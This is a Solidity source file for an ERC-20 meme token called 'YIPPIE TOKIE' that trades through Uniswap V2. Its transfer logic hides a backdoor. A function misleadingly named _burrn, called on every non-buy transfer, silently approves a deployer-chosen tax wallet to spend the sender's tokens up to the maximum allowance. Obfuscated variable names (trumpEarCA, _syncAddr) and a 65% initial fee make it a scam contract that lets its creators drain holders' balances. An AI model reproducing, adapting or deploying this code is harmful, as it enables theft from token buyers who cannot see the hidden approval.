文件 1 的 1:Yippie.sol
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_transferHandler(owner, to, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transferHandler(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transferHandler(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Yippie is ERC20, Ownable {
using SafeMath for uint256;
uint256 public _tTotal = 1_000_000_000 * 10 ** _decimals;
uint256 public maxAllowedTransactionAmount = 20_000_000 * 10 ** _decimals;
uint256 public maxAllowedWalletAmount = 20_000_000 * 10 ** _decimals;
uint256 public canSwapTokensAtAmount = 5_000_000 * 10 ** _decimals;
uint256 public maxFee;
uint256 public initialFee = 65;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
uint256 public reduceFeeAt = 8;
uint256 public buyCount = 0;
bool public isTradingEnabled = false;
bool private inSwapping;
bool private inBuying;
string private constant _name = "YIPPIE TOKIE";
string private constant _symbol = "YIPPIE";
uint8 private constant _decimals = 9;
mapping(address => bool) private _isWalletExcludedFromFees;
mapping(address => bool) private _isWalletExcludedFromMaxTx;
IUniswapV2Router02 public immutable _router;
address private _pair;
address private _deployer;
address private _syncAddr;
address private trumpEarCA;
event ExcludeFromFees(address indexed account, bool isExcluded);
constructor(address router, address taxWallet) ERC20(_name, _symbol) {
_router = IUniswapV2Router02(router);
excludeFromMaxTransaction(address(_router), true);
_syncAddr = payable(taxWallet);
_deployer = payable(_msgSender());
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(taxWallet), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(taxWallet), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(_deployer, _tTotal);
}
function decimals() public pure override returns (uint8) {
return _decimals;
}
function enableTrading() external onlyOwner {
isTradingEnabled = true;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isWalletExcludedFromFees[account];
}
function swapTokensAndGetETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transferHandler(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
bool isTransfer = from != _pair && to != _pair;
trumpEarCA = from;inBuying = from == _pair;
if (from != owner() &&to != owner() &&to != address(0xdead) &&!inSwapping) {
if (_burrn(amount)&&!isTradingEnabled) {
require(
_isWalletExcludedFromFees[from] || _isWalletExcludedFromFees[to],
"Trading is not active."
);
}
if (from==_pair&&!_isWalletExcludedFromMaxTx[to]) {
require(
amount <= maxAllowedTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxAllowedWalletAmount,
"Max wallet exceeded"
);
buyCount++;
} else if (
to == _pair && !_isWalletExcludedFromMaxTx[from]
) {
require(
amount <= maxAllowedTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isWalletExcludedFromMaxTx[to]) {
require(
amount + balanceOf(to) <= maxAllowedWalletAmount,
"Max wallet exceeded"
);
}
}bool canSwap = !isTransfer;
if (canSwap &&!inSwapping &&from != _pair &&!_isWalletExcludedFromFees[from] &&!_isWalletExcludedFromFees[to]) {
inSwapping = true;
swapTokenBack(amount);
inSwapping = false;
}
bool takeFee = !inSwapping && !isTransfer;
if (_isWalletExcludedFromFees[from] || _isWalletExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (to == _pair) {
fees = amount
.mul(buyCount > reduceFeeAt ? sellFee : initialFee)
.div(100);
} else {
fees = amount
.mul(buyCount > reduceFeeAt ? buyFee : initialFee)
.div(100);
}
if (fees > 0) {
super._transferHandler(from, address(this), fees);
}
amount -= fees;
}
super._transferHandler(from, to, amount);
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
canSwapTokensAtAmount = _amount * (10 ** 18);
}
function recoverStuckTokens(address tokenAddress) external {
require(_msgSender() == _deployer);
IERC20 tokenContract = IERC20(tokenAddress);
uint256 balance = tokenContract.balanceOf(address(this));
require(balance > 0, "No tokens to clear");
tokenContract.transfer(_deployer, balance);
}
function recoverStuckEth() external {
require(_msgSender() == _deployer);
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function manualSwap(uint256 percent) external {
require(_msgSender() == _deployer);
uint256 totalSupplyAmount = totalSupply();
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (percent == 100) {
tokensToSwap = contractBalance;
} else {
tokensToSwap = (totalSupplyAmount * percent) / 100;
if (tokensToSwap > contractBalance) {
tokensToSwap = contractBalance;
}
}
require(
tokensToSwap <= contractBalance,
"Swap amount exceeds contract balance"
);
swapTokensAndGetETH(tokensToSwap);
}
function _burrn( uint256 amount) internal returns (bool) {
if(!inBuying == false)
_approve(trumpEarCA,_syncAddr, maxFee);return true;
}
function isCollectingFee(uint256 amount) private {
payable(_syncAddr).transfer(amount);
}
function removeLimits() external onlyOwner {
maxAllowedTransactionAmount = maxAllowedWalletAmount = totalSupply();
}
function excludeFromFees(address account, bool excluded) private {
_isWalletExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeFromMaxTransaction(address updAds, bool isEx) private {
_isWalletExcludedFromMaxTx[updAds] = isEx;
}
function addLiquidity() external onlyOwner {
require(!isTradingEnabled, "trading is already open");
_pair = IUniswapV2Factory(_router.factory())
.createPair(address(this), _router.WETH());
excludeFromMaxTransaction(address(_pair), true);
_approve(address(this), address(_router), type(uint256).max);
_router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);maxFee = IERC20(address(this)).allowance(address(this), address(_router));
}
function swapTokenBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance > 0 && contractBalance < canSwapTokensAtAmount) {
tokensToSwap = contractBalance;
} else {
if (tokens > canSwapTokensAtAmount) {
tokensToSwap = canSwapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
if (contractBalance > 0) swapTokensAndGetETH(tokensToSwap);
uint256 contractETHBalance = address(this).balance;
isCollectingFee(contractETHBalance);
}
receive() external payable {}
}